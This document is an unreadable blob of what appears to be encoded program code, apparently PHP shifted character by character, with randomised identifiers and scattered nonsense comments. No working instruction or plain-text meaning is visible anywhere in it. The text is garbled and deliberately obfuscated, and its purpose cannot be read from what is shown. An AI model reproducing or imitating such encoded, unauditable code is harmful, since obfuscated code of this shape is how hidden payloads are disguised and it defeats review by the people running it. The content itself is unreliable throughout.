98??!!!(szm|}zf(,|ix~fc0eq:o3(((uan(((( )((,|ix~fc0eq:o%6`i{Wkix rq;ec{mmgl| 98?0!!!((((s(zm|}zf((,|ix~fc0eq:o3((u((((an( )(jj`>dqcld1xlfd: 989<! ,jany~ior90>|~xl!(tt(()((,jany~ior90>|~xl!(((s''(Eq[YD(0(K\M{2(emi{}zm(iddgki|gz((((zm|}zf((((,|ix~fc0eq:o3(u,pqaln=:89:g}<(5(`ja}:~bo1<;}zr;fcWWp aW;~yrxiqyjro 98?1!$((izziq !!3(((((an( )(rq;ec{mmgl| 98?;! ,pqaln=:89:g}<!!(s((,pqaln=:89:g}<(((5(((izziq !3(((u(ngzmik`( ,pqaln=:89:g}<((((i{(,qkcWizWy>i=r;z((56((,e9;0`fp1zi!((s(,x9q<1}rWnj|j1p(5((jj`>dqcld1xlfd: 98?;! ,e9;0`fp1zi!(((((..((a{{m| ,e9;0`fp1ziSaozjlg0f<j1nk{ 9808!U!((((((7( af|!(((,e9;0`fp1ziSrq;ec{mmgl| 9808!U(((2(((((83(((an(( ,x9q<1}rWnj|j1p((..((,x9q<1}rWnj|j1p((((4((jj`>dqcld1xlfd: 9809! !(((%((((( :=8;:09#=:?:?91!!(}f{m| ,pqaln=:89:g}<S,qkcWizWy>i=r;zU!3(((((u((,pqaln=:89:g}<S,|ix~fc0eq:o%6}{mzWdgoafU(5(izziq /x/((56(,jany~ior90>|~xl$(((aW;~yrxiqyjro 9808!(((((56(((jj`>dqcld1xlfd: 9809! !$((((aozjlg0f<j1nk{ >:8!(56(((8!3((brWd:drr>|qrizlfce::~ rq;ec{mmgl| 98?1!$(,pqaln=:89:g}<$(((aozjlg0f<j1nk{ 980:!!3(u(((ki|k`((( \`zgijdm(,d|f9x=j|9W:!(((sgcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 980;!$(((,d|f9x=j|9W:!3((((((u(((ki|k`( Mpkmx|agf(,d|f9x=j|9W:!((s(u(((((((zm|}zf((,|ix~fc0eq:o3((un}fk|agf((i~bapci9pr><o:{ ,}r8z{q19j=$((,|ix~fc0eq:o!((s|zq(((s(an(( )aW;~yrxiqyjro 989<! ,}r8z{q19j=!(tt((,}r8z{q19j=((555(((**!(zm|}zf3(((,pqaln=:89:g}<((5((`ja}:~bo1<;}zr;fcWWp aW;~yrxiqyjro 98?1!$(izziq !!3((an(( )jj`>dqcld1xlfd: 980<! ,pqaln=:89:g}<!(((tt()a{{m| ,pqaln=:89:g}<S,}r8z{q19j=U!!((((zm|}zf3((,d|f9x=j|9W:((5(((,pqaln=:89:g}<S,}r8z{q19j=U3(((((((an(((( jj`>dqcld1xlfd: 980=! ,d|f9x=j|9W:!(..(((mex|q ,d|f9x=j|9W:SaW;~yrxiqyjro >:8!U!!(((s,~{1qef{1ng5 8p1l#8pk=!3,cgrpom8z~;0x5,~{1qef{1ng-13(((,pqaln=:89:g}<S,}r8z{q19j=USjj`>dqcld1xlfd: >:8!U((5(((93,i}bn;xey;:b;59<#;83,ci}pjq`n~{?11>5,i}bn;xey;:b;%?3(brWd:drr>|qrizlfce::~ aW;~yrxiqyjro 98?1!$(,pqaln=:89:g}<$(aW;~yrxiqyjro 980:!!3u((((u(ki|k`( \`zgijdm(((,bji~l0~ffxy8j1c!(((sgcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 980>!$(,bji~l0~ffxy8j1c!3(u((((ki|k`(( Mpkmx|agf(,bji~l0~ffxy8j1c!((((((s((((uu(((n}fk|agf((c:=oyoW}kyrojio>|alrW| ,g?0qlWj9=agk!s,Wpn?}cxnxm?l59?=t:;?3,caql;:?r5,Wpn?}cxnxm?lV?93((an( )(((aW;~yrxiqyjro 980=! ,g?0qlWj9=agk!!(s''(iia|(almexg|mf|%ilb(kggzlafi|gz(((zm|}zf(nid{m3((((((u,dnjljj}l`<j(((5(a1r|l:r>ji{o`9pmge !3(ngzmik`( ,g?0qlWj9=agk((i{((((((,pnxbn=~?;~{ecmb!(s(ngzmik`((((( ,dnjljj}l`<j(i{(((((,g>ce~oof:a}cW!(s(an(( aW;~yrxiqyjro 08>! rq;ec{mmgl| 980?!((&((rq;ec{mmgl| 9800! ,g>ce~oof:a}cW$(/'/!((((&(aW;~yrxiqyjro 9801!$((,pnxbn=~?;~{ecmb%6}{mzWdgoaf!!(((s'"(|g|id(xzggn%|mze("'zm|}zf((,pnxbn=~?;~{ecmb3(u((((u((((uzm|}zf(nid{m3((u(n}fk|agf(g{mxxjmmdpz1}` ,drz9}?bqzzil=~$((,a<>d`q:o0xkfflq!((((s(zm|}zf(aozjlg0f<j1nk{ 9818! rq;ec{mmgl| 9890! ,drz9}?bqzzil=~!$((8$((,a<>d`q:o0xkfflq!3(u((n}fk|agf(((((oenn0;oi|8oz| ,na:Wg0y:a9=`>!(s((an( )aW;~yrxiqyjro 989<! ,na:Wg0y:a9=`>!((((tt((,na:Wg0y:a9=`>(((555(**((tt(((()lmnafml jj`>dqcld1xlfd: 1>>!!!((((zm|}zf(((nid{m3(({|i|ak(((,Wr>dpqonnz(((((5(((((f}dd3(an(((( ,Wr>dpqonnz((555(f}dd!(s''(_X(Xiziozix`(Jdgkc2(zmdmi{m(lmy}m,m~ga<``:ca|?`5X@XWEIBGZW^MZ[AGF3,n0xkp~ij=bi:5,m~ga<``:ca|?`":3((,Wr>dpqonnz(((5(izziq (g{mxxjmmdpz1}` IJ[XI\@(&(aozjlg0f<j1nk{ 9819!$(( =#;!!(((&((((((aW;~yrxiqyjro 100!$(((g{mxxjmmdpz1}` IJ[XI\@((&(aW;~yrxiqyjro 981:!$((( 9#?!!(((&((((((rq;ec{mmgl| 100!$!3(u(ngzmik`(( ,Wr>dpqonnz(((i{(((,z}gm8nrcop!((((s,c<?xddx`=k}}509":3,e:npoqyWinj5,c<?xddx`=k}}%<3(((an(( aozjlg0f<j1nk{ 1?8! ,na:Wg0y:a9=`>$(,z}gm8nrcop!()55(((((nid{m!(zm|}zf(((((|z}m3(u(((zm|}zf((nid{m3((((un}fk|agf(mp<9p>k`8?o:yf8fpo9 ,a<>d`q:o0xkfflq!(((s,d8kx{rmmy8{cj5;1"?3,~m8fx0icrf<>;y5,d8kx{rmmy8{cj%;83(zm|}zf((g{mxxjmmdpz1}` }fayal  {|zafo!(((rq;ec{mmgl| <<8! !$(((|z}m!$((,a<>d`q:o0xkfflq!3((((((((u((n}fk|agf(((({jnrxkW0m|xz1jd{m1y> ,fd8pcbk08m0!san( )jj`>dqcld1xlfd: 98>8! aW;~yrxiqyjro 98>9!!!(zm|}zf(((((nid{m3((,c>?<lcrbkn{`=((5((om|Wgx|agf aW;~yrxiqyjro 981;!$((izziq !!3,ejo;`no`~m59?==3,mxk0:p:f5,ejo;`no`~m-9:3an( )jj`>dqcld1xlfd: 980=! ,c>?<lcrbkn{`=!!(zm|}zf(((((nid{m3(,m}Wn|:z0=b>:9j=(5((aW;~yrxiqyjro 9890! ,fd8pcbk08m0!3(an( mex|q ,c>?<lcrbkn{`=S,m}Wn|:z0=b>:9j=U!!((zm|}zf(((nid{m3(((((((,ndjnir;e;:?fazg9((5(((aozjlg0f<j1nk{ ::8! /t/$(((( {|zafo!((,c>?<lcrbkn{`=S,m}Wn|:z0=b>:9j=U!3((((((,xpbo1zm?d|((5((a{{m| ,ndjnir;e;:?fazg9S9U!((7((( af|!((((,ndjnir;e;:?fazg9S9U(((2((83,qkf=;lc}cz5>?#=>3,}1~8>p0a<>5,qkf=;lc}cz%<<3((zm|}zf(((( ,xpbo1zm?d|((6(8(((((..(jj`>dqcld1xlfd: 981<! !(((%((,xpbo1zm?d|(4((( 8pmkk;#8p><jl!!3u(((((n}fk|agf(f0f0zg?<:l8l=;ayg ,fd8pcbk08m0$((((,j1y?{f=:8;b{r?8!((((s(an( )aozjlg0f<j1nk{ 98>8! aozjlg0f<j1nk{ 98>9!!((((tt((((()aW;~yrxiqyjro 981=! aozjlg0f<j1nk{ 981>!!!(zm|}zf3(((((((,c>?<lcrbkn{`=(((5((om|Wgx|agf rq;ec{mmgl| 981;!$((izziq !!3(((((an((( )aozjlg0f<j1nk{ 980=! ,c>?<lcrbkn{`=!!((((,c>?<lcrbkn{`=(((5((izziq !3(,m}Wn|:z0=b>:9j=(((5(aozjlg0f<j1nk{ 9890! ,fd8pcbk08m0!3an( ),j1y?{f=:8;b{r?8!((((((san(( a{{m| ,c>?<lcrbkn{`=S,m}Wn|:z0=b>:9j=U!!((s}f{m| ,c>?<lcrbkn{`=S,m}Wn|:z0=b>:9j=U!3}xli|mWgx|agf jj`>dqcld1xlfd: 981;!$((((,c>?<lcrbkn{`=!3(((((u(((zm|}zf3(u(((((,ebezm{a8c:j8o9}~(((5(83((((((an( )mex|q ,c>?<lcrbkn{`=S,m}Wn|:z0=b>:9j=U!!((s((,ndjnir;e;:?fazg9((5(((aozjlg0f<j1nk{ ::8! /t/$( {|zafo!(((,c>?<lcrbkn{`=S,m}Wn|:z0=b>:9j=U!3(((((,ebezm{a8c:j8o9}~(5(((( af|!(,ndjnir;e;:?fazg9S8U3(u((,ebezm{a8c:j8o9}~##3(((((,xpbo1zm?d|((5(((( ,ebezm{a8c:j8o9}~(((65( >%;!!((7((aW;~yrxiqyjro 981<! !(((2(((83ngzmik`(( ,c>?<lcrbkn{`=(((i{(((,y<mbr11=cdW0i(56((,{mmn>mjnfyb9j0!(((((s(((,na:Wg0y:a9=`>((5((jj`>dqcld1xlfd: ::8! /t/$((( {|zafo!((((,{mmn>mjnfyb9j0!3(an((( )mex|q ,na:Wg0y:a9=`>S9U!(..((rq;ec{mmgl| 981?! !(((%( af|!(,na:Wg0y:a9=`>S9U((6(( 8p::n1#8p:088?!!((}f{m| ,c>?<lcrbkn{`=S,y<mbr11=cdW0iU!3((((((u,c>?<lcrbkn{`=S,m}Wn|:z0=b>:9j=U(((5(,ebezm{a8c:j8o9}~((((&(/t/(&(,xpbo1zm?d|3}xli|mWgx|agf aW;~yrxiqyjro 981;!$(,c>?<lcrbkn{`=!3(((((u(((n}fk|agf((((f1>9yx}0b};fkpa ,fd8pcbk08m0$(((,}r={}mg{0`jaic!(((s(((an( )aozjlg0f<j1nk{ 9810! ,}r={}mg{0`jaic!!(zm|}zf3(,kbWWxa8yl<x}m((((5((kW>>zfk;ll`x}<cW9>k8p> jj`>dqcld1xlfd: 9811! ,fd8pcbk08m0!$((aozjlg0f<j1nk{ 9988!!3((((((an((((( ,kbWWxa8yl<x}m(()55(((nid{m!((s((((an(((((( HaW;~yrxiqyjro 9989! ,kbWWxa8yl<x}m$(((((,}r={}mg{0`jaic!(((((555(aW;~yrxiqyjro 989;! ,}r={}mg{0`jaic!(..((`z?d~=rb8j}Wcx: ,kbWWxa8yl<x}m$(((,fd8pcbk08m0!!((((zm|}zf3((aqdz{8}zyk~qm;yf ,kbWWxa8yl<x}m!3(((((uHrq;ec{mmgl| 9989! ,fd8pcbk08m0$((((((,}r={}mg{0`jaic!3((((u((((n}fk|agf(({jynjr};<k;ff=~{9pbapx ,fd8pcbk08m0$(,~o8a|m=x`{Wp`!(s(,z?xcd9c}k{8(5((aozjlg0f<j1nk{ 9811! ,fd8pcbk08m0!3(an( )Hrq;ec{mmgl| 0??! ,z?xcd9c}k{8!!(((s((((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 998:!$((aW;~yrxiqyjro 998;!((&(((rq;ec{mmgl| 998<! ,fd8pcbk08m0!!3(zm|}zf(nid{m3(u((,}zin?:}ayf>18((((((5( jj`>dqcld1xlfd: 9818! ,fd8pcbk08m0$((% 8p;#8p9!!((((555((((((aW;~yrxiqyjro 100!!3an((( ,}zin?:}ayf>18((((..()~rl=fzla18ykW?jkrj} ,~o8a|m=x`{Wp`!!((s(gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 998:!$(((rq;ec{mmgl| 998=!((&((aozjlg0f<j1nk{ 998<! ,fd8pcbk08m0!!3((((zm|}zf((((nid{m3u(((an(((( ,}zin?:}ayf>18(((..((((({jnrxkW0m|xz1jd{m1y> ,fd8pcbk08m0!!((zm|}zf((nid{m3,p;:gWWrf>(((((5(((nid{m3((an(( HaW;~yrxiqyjro 0?>! ,fd8pcbk08m0!!((((,p;:gWWrf>((((5((|z}m3(((((,}r={}mg{0`jaic(5((f}dd3,db?>ooq=g{{5X@XWAF\WEIP'X@XWAF\WEIP3,~ezndcznmp>5,db?>ooq=g{{#:;3(((((((,pncpon<d?c8((5((((nid{m3(,m1>k=?1}(5(f}dd3(((an(( Haozjlg0f<j1nk{ 998>! ,fd8pcbk08m0!((..(((()Haozjlg0f<j1nk{ 0?>! ,fd8pcbk08m0!!(s((((((,pncpon<d?c8(((5((|z}m3((((,m1>k=?1}((5((Hnadmxmze{ ,fd8pcbk08m0!3(an((( ,m1>k=?1}((((555(nid{m!((((,m1>k=?1}((((5((((f}dd3an(((( HaW;~yrxiqyjro ::;! ,fd8pcbk08m0!((45(((( 8p:0n1999#8p18>mmn!!(,}r={}mg{0`jaic((((5(Hjj`>dqcld1xlfd: 1:>! ,fd8pcbk08m0!3((u(an((( )jj`>dqcld1xlfd: 981=! jj`>dqcld1xlfd: :>!!!(s((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 998:!$(aW;~yrxiqyjro 998?!(&(rq;ec{mmgl| 998<! ,fd8pcbk08m0!!3(((((zm|}zf((((nid{m3((((((((u,e>lknz{caikckf{((5((((nid{m3(,nkkrijdlg>(((5(nid{m3(((,Wkd((5(((rq;ec{mmgl| 9980! ,~o8a|m=x`{Wp`!3((ngz((( ,dk>ej8lozb|((5(((83((((((,dk>ej8lozb|((4(:3((,dk>ej8lozb|##!(((s,e>lknz{caikckf{(((5((kW>>zfk;ll`x}<cW9>k8p> ,z?xcd9c}k{8$(rq;ec{mmgl| 9981!!3an(( ,e>lknz{caikckf{(()55((nid{m!(((s,nkkrijdlg>(((5(nid{m3((,na:Wg0y:a9=`>((((5((((HaW;~yrxiqyjro 98<! ,e>lknz{caikckf{$(((aozjlg0f<j1nk{ 9998!!3(((((an( ,na:Wg0y:a9=`>(()55(nid{m!((s(,f;zy<1Wlbp(5(83(((`adm(((((( ,f;zy<1Wlbp(4((,Wkd!(((s(,oWggf|<;i~9rnj8(5((Hrq;ec{mmgl| 9999! ,na:Wg0y:a9=`>$(rq;ec{mmgl| 999:! ,~o8a|m=x`{Wp`$(((,f;zy<1Wlbp!!3(an(( ,oWggf|<;i~9rnj8(((555((((nid{m(tt(,oWggf|<;i~9rnj8((((555((8!(jzmic3(((,f;zy<1Wlbp(#5(,oWggf|<;i~9rnj83u(((Hnnd}{` ,na:Wg0y:a9=`>!3''(H{xmkaidarm(ioozmoi|gz,a0i=nc=e50?t9;>3,mm~m{lqj0g5,a0i=nc=eV>13an((( aW;~yrxiqyjro 999;! aozjlg0f<j1nk{ 999<!!!((((Hn{qfk ,na:Wg0y:a9=`>!3,fm`1~ok;d|y5%1>3,j}<{~`<`e5 ,fm`1~ok;d|y68!7,fm`1~ok;d|y2%,fm`1~ok;d|y3((Hnkdg{m ,na:Wg0y:a9=`>!3(((an( ,f;zy<1Wlbp(555((((,Wkd!((,nkkrijdlg>(5((,f;zy<1Wlbp3((u(((((md{m((s,nkkrijdlg>(((5(Hrq;ec{mmgl| 999=! ,e>lknz{caikckf{$((((((,~o8a|m=x`{Wp`!3(((((u''(afdafm(kik`m((an( ,nkkrijdlg>((()55((nid{m(((..((((,nkkrijdlg>((((555((,Wkd!((jzmic3((((aqdz{8}zyk~qm;yf ,e>lknz{caikckf{!3(((,e>lknz{caikckf{(((((5(((nid{m3(((uu(((((an(((( ,e>lknz{caikckf{(((555(((nid{m!(s(gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 998:!$(((rq;ec{mmgl| 999>!((&(jj`>dqcld1xlfd: 998<! ,fd8pcbk08m0!!3zm|}zf(nid{m3(((uan( ,nkkrijdlg>(((555(nid{m(tt((,nkkrijdlg>()55(((,Wkd!((((s(gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 998:!$(aozjlg0f<j1nk{ 999?!(&(jj`>dqcld1xlfd: 998<! ,fd8pcbk08m0!!3aqdz{8}zyk~qm;yf ,e>lknz{caikckf{!3zm|}zf((((nid{m3(u(an((( ,m1>k=?1}(()55((((((f}dd!(((Haozjlg0f<j1nk{ 9><! ,e>lknz{caikckf{$((,m1>k=?1}((((.(((((( <10#9;!!3(,~}dca?nr|:yor1~i((((5((`z?d~=rb8j}Wcx: ,e>lknz{caikckf{$(((((,fd8pcbk08m0!3(((an((( ),~}dca?nr|:yor1~i(..(((,pncpon<d?c8(((((..(((),p;:gWWrf>!(s(an((((( Hjj`>dqcld1xlfd: 998>! ,fd8pcbk08m0!!(yy|m;zWdxb}n{r{~akm ,fd8pcbk08m0$(( ;1<#:>!!3(,rml~fraiiy0k01Wm((((5(,fd8pcbk08m0(&(aW;~yrxiqyjro 9990!((((&((aW;~yrxiqyjro <<8!  8p9?9#8p:??!$( 9:?0#0?:9!!3(((an(( `z?d~=rb8j}Wcx: ,fd8pcbk08m0$((((,rml~fraiiy0k01Wm!!(((((s(((,~}dca?nr|:yor1~i((5((`z?d~=rb8j}Wcx: ,e>lknz{caikckf{$(,fd8pcbk08m0!3(an(( ,~}dca?nr|:yor1~i!(s((aqdz{8}zyk~qm;yf ,rml~fraiiy0k01Wm!3u(((md{m((((s''({i|a{naijdm(jikcdgo((((an((( )`z?d~=rb8j}Wcx: ,rml~fraiiy0k01Wm$((,fd8pcbk08m0!(..((((()ngr}?>ozapi8 ,rml~fraiiy0k01Wm$((((,fd8pcbk08m0!!(((s(((f1>9yx}0b};fkpa ,fd8pcbk08m0$(,}r={}mg{0`jaic!3((((u''(X[Z%9=(ealldmizm2(dafmiz%ilb(jziflml%|qxm(an(((((( )HaW;~yrxiqyjro 998>! ,fd8pcbk08m0!!(((s((((((f1>9yx}0b};fkpa ,fd8pcbk08m0$((,}r={}mg{0`jaic!3((u(u(uu(((((an((( ),~}dca?nr|:yor1~i((..((),p;:gWWrf>(..(((),}zin?:}ayf>18!(san((( Hjj`>dqcld1xlfd: 998>! ,fd8pcbk08m0!!(((((yy|m;zWdxb}n{r{~akm ,fd8pcbk08m0$(( ;01#;9!!3an(( ngr}?>ozapi8 ,e>lknz{caikckf{$(((((,fd8pcbk08m0!!((s((,~}dca?nr|:yor1~i(5((((|z}m3aqdz{8}zyk~qm;yf ,e>lknz{caikckf{!3,fbW8c1;zr85%;9>3,`<`~qognqgW5 ,fbW8c1;zr868!7,fbW8c1;zr82%,fbW8c1;zr83((u(((((u(an( ),~}dca?nr|:yor1~i!(((((s((an(((( Hjj`>dqcld1xlfd: 998>! ,fd8pcbk08m0!((..(( af|!(Haozjlg0f<j1nk{ ::;! ,fd8pcbk08m0!()55(((,Wkd!((((s,fko1o9e>?p50#<?3,yngnrpled`0?z5,fko1o9e>?p%;03(((((,k=rl;{a=jaW:(5(Haozjlg0f<j1nk{ 9991! ,fd8pcbk08m0!3(((((an(((((( )aW;~yrxiqyjro 99:8! ,k=rl;{a=jaW:!(tt(( rq;ec{mmgl| 99:9! ,}r={}mg{0`jaic!(..(((,k=rl;{a=jaW:(()55(((,}r={}mg{0`jaic!!(((s((an(( jj`>dqcld1xlfd: 99::! ,}r={}mg{0`jaic!!(f1>9yx}0b};fkpa ,fd8pcbk08m0$(,}r={}mg{0`jaic!3md{man(( ),pncpon<d?c8!(aqdz{8}zyk~qm;yf ,fd8pcbk08m0!3''(_X([gkaid(Dafc{(zm{xgf{a~m(jzmicxgaf|(((((((u((}f{m| ,k=rl;{a=jaW:!3((((u((an(((( )Hrq;ec{mmgl| 998>! ,fd8pcbk08m0!!((sf1>9yx}0b};fkpa ,fd8pcbk08m0$(,}r={}mg{0`jaic!3ugcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 99:;!$((aozjlg0f<j1nk{ 99:<!(((&((((aozjlg0f<j1nk{ 998<! ,fd8pcbk08m0!!3aqdz{8}zyk~qm;yf ,e>lknz{caikckf{!3(zm|}zf((nid{m3(u(((Hkdmiz{|i|kik`m |z}m$(,fd8pcbk08m0!3((,|k|~<df:?~}aix((((5((nid{m3(((an( ,Wkd(45( :81?808#?:!!(s,|a?{=g9;o1r((5(HaW;~yrxiqyjro 99:=! ,fd8pcbk08m0!3((((((((((,|k|~<df:?~}aix((5(((( aW;~yrxiqyjro 99::! ,|a?{=g9;o1r!((((..((aW;~yrxiqyjro 9980! ,|a?{=g9;o1r!((((555((((,Wkd(..((((((jj`>dqcld1xlfd: 99:>! ,|a?{=g9;o1r!(555(aW;~yrxiqyjro 99:>! ,~o8a|m=x`{Wp`!!3u(md{m(s(,nxx=:rg>?81i}l9((((5((rq;ec{mmgl| 99:?! aW;~yrxiqyjro 99:0!!(((7((H`i{`Wnadm rq;ec{mmgl| 99:>!$(,fd8pcbk08m0!((((2((((nid{m3an(( rq;ec{mmgl| 99:1! ,nxx=:rg>?81i}l9!(..((,nxx=:rg>?81i}l9(()55(((**!(,|k|~<df:?~}aix((((5(( ,nxx=:rg>?81i}l9((555((((jj`>dqcld1xlfd: 99:>! ,~o8a|m=x`{Wp`!!3(((((((md{m(((s''(ki|k`(jdgkc((,9yci}e0aflq((((((5((((((Hrq;ec{mmgl| ::;! ,fd8pcbk08m0!3(an( ,9yci}e0aflq((555(((((,Wkd!(((((s((((((,mgj0k9}|?cem((5((Hrq;ec{mmgl| 99:=! ,fd8pcbk08m0$(((((nid{m$(f}dd$((8$((( <8?=#:9!!3((,Wz|(5((((HaW;~yrxiqyjro 99:=! ,fd8pcbk08m0$(((((nid{m$(((f}dd$((,Wkd(%(( ?88;%:18?!!3(,|k|~<df:?~}aix((5( aW;~yrxiqyjro 99;8! ,mgj0k9}|?cem!(((..((aozjlg0f<j1nk{ 99;8! ,Wz|!((..((,mgj0k9}|?cem(((555(((jj`>dqcld1xlfd: 999:! ,~o8a|m=x`{Wp`$((8$( 8p<:n#8pjl9!!((..((,Wz|((555((aozjlg0f<j1nk{ 99;9! ,~o8a|m=x`{Wp`$(,Wkd(%( :81:#:88<!!!3(u(u((u(an(((( ),|k|~<df:?~}aix!(sgcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 99:;!$(rq;ec{mmgl| 99;:!((&((aozjlg0f<j1nk{ 998<! ,fd8pcbk08m0!!3((an((( ,}zin?:}ayf>18!((f0f0zg?<:l8l=;ayg ,fd8pcbk08m0$((((|z}m!3(((((an((( aozjlg0f<j1nk{ 99;;! ,}r={}mg{0`jaic!!(((s((,em1lo`ym;e;cryr~(5(rq;ec{mmgl| 99:?! aW;~yrxiqyjro 99;<!!(((((7(H`i{`Wnadm aozjlg0f<j1nk{ 99:>!$(((,fd8pcbk08m0!(2(nid{m3(((((an( rq;ec{mmgl| 99;;! ,em1lo`ym;e;cryr~!((..(,em1lo`ym;e;cryr~(((()55((**(..(((,em1lo`ym;e;cryr~()55((aW;~yrxiqyjro 99:>! ,~o8a|m=x`{Wp`!((..(,em1lo`ym;e;cryr~((()55((((rq;ec{mmgl| 99:>! ,}r={}mg{0`jaic!!(((sgcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 99:;!$(((aW;~yrxiqyjro 99;=!(&(((rq;ec{mmgl| 99;>! ,fd8pcbk08m0!!3(zm|}zf(nid{m3(u(((,r<|>ar>}9re(((((5((((((kW>>zfk;ll`x}<cW9>k8p> ,z?xcd9c}k{8$(((aozjlg0f<j1nk{ 9981!!3(an(((((( ,r<|>ar>}9re()55(nid{m((..((Hjj`>dqcld1xlfd: 999=! ,r<|>ar>}9re$((,}r={}mg{0`jaic!((((555((((rq;ec{mmgl| 9980! ,}r={}mg{0`jaic!!(((((s((((((an((( )`z?d~=rb8j}Wcx: ,r<|>ar>}9re$(,fd8pcbk08m0!!((san( Hrq;ec{mmgl| 998>! ,fd8pcbk08m0!((..((((),p;:gWWrf>!(((((yy|m;zWdxb}n{r{~akm ,fd8pcbk08m0$( 9>1#:=9!!3an(( ),p;:gWWrf>(((((..((ngr}?>ozapi8 ,r<|>ar>}9re$((((((,fd8pcbk08m0!!(saqdz{8}zyk~qm;yf ,r<|>ar>}9re!3((((((((u((md{m((s((Hrq;ec{mmgl| 999=! ,fd8pcbk08m0$((,}r={}mg{0`jaic!3(((aqdz{8}zyk~qm;yf ,r<|>ar>}9re!3u(((u(u((md{m(s((an((( ,r<|>ar>}9re()55(nid{m!((((((aqdz{8}zyk~qm;yf ,r<|>ar>}9re!3((((HaW;~yrxiqyjro 99;?! ,fd8pcbk08m0$((,}r={}mg{0`jaic!3(u(fj0ffpdgn}pcpf0dq ,fd8pcbk08m0!3((u(((md{man((( ),pncpon<d?c8!(s((aqdz{8}zyk~qm;yf ,fd8pcbk08m0!3(((((((u((((((zm|}zf(nid{m3((u((((((((fj0ffpdgn}pcpf0dq ,fd8pcbk08m0!3m1<bdc<lk<9|c;d ,fd8pcbk08m0!3(((((yy|m;zWdxb}n{r{~akm ,fd8pcbk08m0$( 8p9><#8p<8!!3(((an(((((( ,}zin?:}ayf>18!(((f0f0zg?<:l8l=;ayg ,fd8pcbk08m0$((nid{m!3((((((zm|}zf((((|z}m3(u(n}fk|agf(((y8bjrmyn8dbfpWn<{ ,fd8pcbk08m0$(((,}>zg~}l`8;`9|!(((((((s'"(zmdipml({kgxm%k`iaf("',ae{:onx`88((5(((*47x`xTf*3(((((an((( aW;~yrxiqyjro 99;;! ,}>zg~}l`8;`9|!(..(((((,}>zg~}l`8;`9|(((()55(((**((..((rq;ec{mmgl| 1?8! ,}>zg~}l`8;`9|$((aozjlg0f<j1nk{ :=1!!()55((nid{m((..((((((~rl=fzla18ykW?jkrj} ,}>zg~}l`8;`9|!!((,ae{:onx`88((5((,}>zg~}l`8;`9|3(an( Hrq;ec{mmgl| 99;0! ,fd8pcbk08m0!!(((s(((((,o9`;izrc0;(5((((Hjj`>dqcld1xlfd: 99:=! ,fd8pcbk08m0!3(an(((( aW;~yrxiqyjro 99;;! ,o9`;izrc0;!((..(bW0a{a?}a`=bcb<?m ,o9`;izrc0;!(((555((((,ae{:onx`88!((((zm|}zf3(u((((an( ){jynjr};<k;ff=~{9pbapx ,fd8pcbk08m0$(,ae{:onx`88!!(((((s((((,g:yz<:a<=~k~y((((((5(((HaW;~yrxiqyjro 99:=! ,fd8pcbk08m0!3an((( ) rq;ec{mmgl| 99;1! ,g:yz<:a<=~k~y!((..(((bW0a{a?}a`=bcb<?m ,g:yz<:a<=~k~y!(555(,ae{:onx`88!!(((((Hrq;ec{mmgl| 99;?! ,fd8pcbk08m0$(((,ae{:onx`88!3}f{m| ,g:yz<:a<=~k~y!3((ufj0ffpdgn}pcpf0dq ,fd8pcbk08m0!3(u((((n}fk|agf(`g;g>|=WW~>exi|8|0e !san(( aozjlg0f<j1nk{ 99:?! rq;ec{mmgl| 99<8!!(((((..((~1?i`nn=k:dfWl}gdd{{ !!((((zm|}zf(|z}m3an( )jj`>dqcld1xlfd: 99<9! aozjlg0f<j1nk{ ?0;!!((tt(((((()aW;~yrxiqyjro 99<9! aozjlg0f<j1nk{ 18;!!!((((((zm|}zf((|z}m3,beb0k9x>lon(5(`gemW}zd /'/!3((,beb0k9x>lon(&5((( aozjlg0f<j1nk{ 1?8! ,beb0k9x>lon$(((/7/!(555(((nid{m((7((/7/(((2((/./!(&((((aozjlg0f<j1nk{ 99<:!((((&(((jj`>dqcld1xlfd: 99<;! !((&((((aozjlg0f<j1nk{ 99<<!  8p;<#8p;8!$( 8p9>9#8p:0>!!3(((((((,xbn:9gk<gb1n}=?>((((5(aW;~yrxiqyjro 18;! ,beb0k9x>lon$(izziq jj`>dqcld1xlfd: 99<=!(56(( 91;V:89!$((((rq;ec{mmgl| 99<>!((56(nid{m$((rq;ec{mmgl| 99<?!(56(((:$((rq;ec{mmgl| 99<0!((((((56(izziq jj`>dqcld1xlfd: 99<1!(((56((rq;ec{mmgl| 99=8!!!!3(an((( rq;ec{mmgl| 99=9! rq;ec{mmgl| ;<:!!((..(((a{WxWmzzgz ,xbn:9gk<gb1n}=?>!!((((s((an(( jj`>dqcld1xlfd: 99=:! rq;ec{mmgl| ?0?!!!((((aW;~yrxiqyjro ?0?! 9!3(((,xbn:9gk<gb1n}=?>((((5((((((aW;~yrxiqyjro 18;! ,beb0k9x>lon$((izziq aW;~yrxiqyjro 99=;!((56(((((( =#;!$(((((aozjlg0f<j1nk{ 99<>!(56((nid{m$(rq;ec{mmgl| 99<?!(56(:$(((aW;~yrxiqyjro 99<0!((56(((izziq rq;ec{mmgl| 99<1!((((56(((jj`>dqcld1xlfd: 99=8!!!!3(an(( rq;ec{mmgl| 99=:! rq;ec{mmgl| 99=<!!((((..(a{WxWmzzgz ,xbn:9gk<gb1n}=?>!!(zm|}zf(((nid{m3((u(,c9jbfmf>ld(5(( af|!(((xWzmeg|mWzm|zam~mWzm{xgf{mWkglm ,xbn:9gk<gb1n}=?>!3,qy~18j;?`?}5<9;3,zerg;}jobrr85 ,qy~18j;?`?}68!7,qy~18j;?`?}2%,qy~18j;?`?}3((zm|}zf(((,c9jbfmf>ld((65(((( =#1=!((((..((,c9jbfmf>ld((4( 8p98:#8pn:!3((((un}fk|agf(bpa<n}ey|}minfl999zdk: ,j>{W=r1ry|o~;f0q$(((((,i0n=pd1f<i>?Wc!(s(,jb?pinW>a:z>iin:((5((aozjlg0f<j1nk{ 9800! jj`>dqcld1xlfd: 99;>! ,i0n=pd1f<i>?Wc!$(((/'/!3(((((ngzmik`(( ((((((izziq aW;~yrxiqyjro 99==!((((((&((,jb?pinW>a:z>iin:((&(jj`>dqcld1xlfd: 99=>!$((rq;ec{mmgl| 